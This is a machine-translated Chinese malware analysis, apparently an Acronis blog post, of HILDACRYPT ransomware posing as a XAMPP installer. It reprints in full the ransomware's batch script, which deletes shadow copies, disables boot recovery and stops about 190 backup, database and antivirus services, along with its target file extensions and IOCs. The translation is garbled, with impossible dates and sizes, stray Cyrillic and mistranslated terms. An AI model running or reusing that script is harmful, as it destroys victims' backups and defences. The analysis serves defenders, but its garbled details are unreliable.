主持人 > 博客 > 管理 > HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

你好，哈布爾！ 我們再次討論勒索軟體類別中最新版本的惡意軟體。 HILDACRYPT 是一種新型勒索軟體，是 Hilda 家族成員於 2019 年 XNUMX 月發現的，以用於分發該軟體的 Netflix 卡通命名。 今天我們來了解這個更新後的勒索軟體病毒的技術特徵。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

在 Hilda 勒索軟體的第一個版本中，有一個指向 Youtube 上發布的勒索軟體的鏈接 拖車 贖金信包含卡通系列。 HILDACRYPT 偽裝成合法的 XAMPP 安裝程序，這是一個易於安裝的 Apache 發行版，其中包括 MariaDB、PHP 和 Perl。 同時，cryptlocker 有一個不同的檔名 - xamp.txt。 此外，勒索軟體檔案沒有電子簽名。

靜態分析

該勒索軟體包含在為 MS Windows 編寫的 PE32 .NET 檔案中。 它的大小是 135 位元組。 主程式碼和防禦程式碼都是用C#寫的。 根據編譯日期和時間戳，該二進位檔案建立於 168 年 14 月 2019 日。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

根據 Detect It Easy 介紹，該勒索軟體是使用 Confuser 和 ConfuserEx 進行歸檔的，但這些混淆器與之前相同，只是 ConfuserEx 是 Confuser 的後繼者，因此它們的程式碼簽章相似。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

HILDACRYPT 確實是與 ConfuserEx 一起打包的。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

攻擊向量

最有可能的是，勒索軟體是在一個網路程式網站上發現的，偽裝成合法的 XAMPP 程式。

整個感染鏈可見 app.any.run 沙箱.

混淆

勒索軟體字串以加密形式儲存。 啟動後，HILDACRYPT 使用 Base64 和 AES-256-CBC 對其進行解密。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

安裝

首先，勒索軟體在%AppDataRoaming%中建立一個資料夾，其中隨機產生GUID（全域唯一識別碼）參數。 透過將 bat 檔案新增至此位置，勒索軟體病毒會使用 cmd.exe 啟動它：

cmd.exe /c JKfgkgj3hjgfhjka.bat & 退出

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案
然後它開始執行批次腳本以停用系統功能或服務。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

該腳本包含一長串命令，用於銷毀卷影副本、停用 SQL 伺服器、備份和防毒解決方案。

例如，它嘗試停止 Acronis Backup 服務失敗。 此外，它還攻擊以下供應商的備份系統和防毒解決方案：Veeam、Sophos、卡巴斯基、McAfee 等。

@echo off
:: Not really a fan of ponies, cartoon girls are better, don't you think?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0

一旦停用上述服務和進程，cryptlocker 就會使用 tasklist 命令收集有關所有正在運行的進程的信息，以確保所有必要的服務都已關閉。
任務清單 v/fo csv

該命令顯示正在運行的進程的詳細列表，其中的元素由“，”符號分隔。
««csrss.exe»,«448»,«services»,«0»,«1�896 ��»,«unknown»,»�/�»,«0:00:03»,»�/�»»

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

檢查後，勒索軟體開始加密過程。

加密

文件加密

HILDACRYPT 會檢查硬碟中所有找到的內容（Recycle.Bin 和 Reference AssembliesMicrosoft 資料夾除外）。 後者包含 .Net 應用程式的關鍵 dll、pdb 等文件，這些文件可能會影響勒索軟體的運作。 若要搜尋將加密的文件，請使用以下副檔名清單：

«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

該勒索軟體使用 AES-256-CBC 演算法來加密用戶檔案。 金鑰大小為 256 位，初始化向量 (IV) 大小為 16 位元組。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

在下面的截圖中，byte_2和byte_1的值是使用GetBytes()隨機得到的。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

關鍵

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

ВИ

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

加密檔案的副檔名為 HCY！...這是加密檔案的範例。 上面提到的密鑰和 IV 是為此文件創建的。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

密鑰加密

Cryptolocker 將產生的 AES 金鑰儲存在加密檔案中。 加密檔案的第一部分有一個標頭，其中包含 XML 格式的 HILDACRYPT、KEY、IV、FileLen 等數據，如下所示：

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

AES 和 IV 金鑰加密使用 RSA-2048 完成，編碼使用 Base64 完成。 RSA 公鑰以 XML 格式的加密字串之一儲存在 cryptolocker 主體中。

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

RSA 公鑰用於加密 AES 檔案金鑰。 RSA 公鑰採用 Base64 編碼，由模數和公共指數 65537 組成。解密需要攻擊者擁有的 RSA 私鑰。

RSA 加密後，AES 金鑰使用儲存在加密檔案中的 Base64 進行編碼。

勒索訊息

加密完成後，HILDACRYPT 會將 html 檔案寫入加密檔案的資料夾中。 勒索軟體通知包含兩個電子郵件地址，受害者可以透過這些地址聯繫攻擊者。

HILDACRYPT：新的勒索軟體攻擊備份系統和防毒解決方案

勒索通知中還包含這樣一句話：「沒有蘿莉是安全的;)」——指的是日本禁止出現小女孩外觀的動漫和漫畫人物。

產量

新勒索軟體家族HILDACRYPT已發布新版本。 加密模型可防止受害者解密勒索軟體加密的檔案。 Cryptolocker 使用主動保護方法來停用與備份系統和防毒解決方案相關的保護服務。 HILDACRYPT 的作者是 Netflix 上播放的動畫連續劇《希爾達》的粉絲，該節目前一版本的買斷信中包含該預告片的連結。

和往常一樣 Acronis備份 и 的Acronis True Image 可以保護您的電腦免受 HILDACRYPT 勒索軟體的侵害，提供者有能力透過以下方式保護其客戶 安克諾斯備份雲。 這些解決方案包括以下事實，確保了保護 網路安全 不僅包括備份，還包括我們的整合安全系統 安克諾斯主動防護 - 由機器學習模型提供支援並基於行為啟發法，這項技術能夠像其他技術一樣應對零日勒索軟體的威脅。

妥協指標

檔案副檔名 HCY!
HILDACRYPTReadMe.html
xamp.exe 附有一個字母「p」且沒有數位簽名
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

來源： www.habr.com

添加評論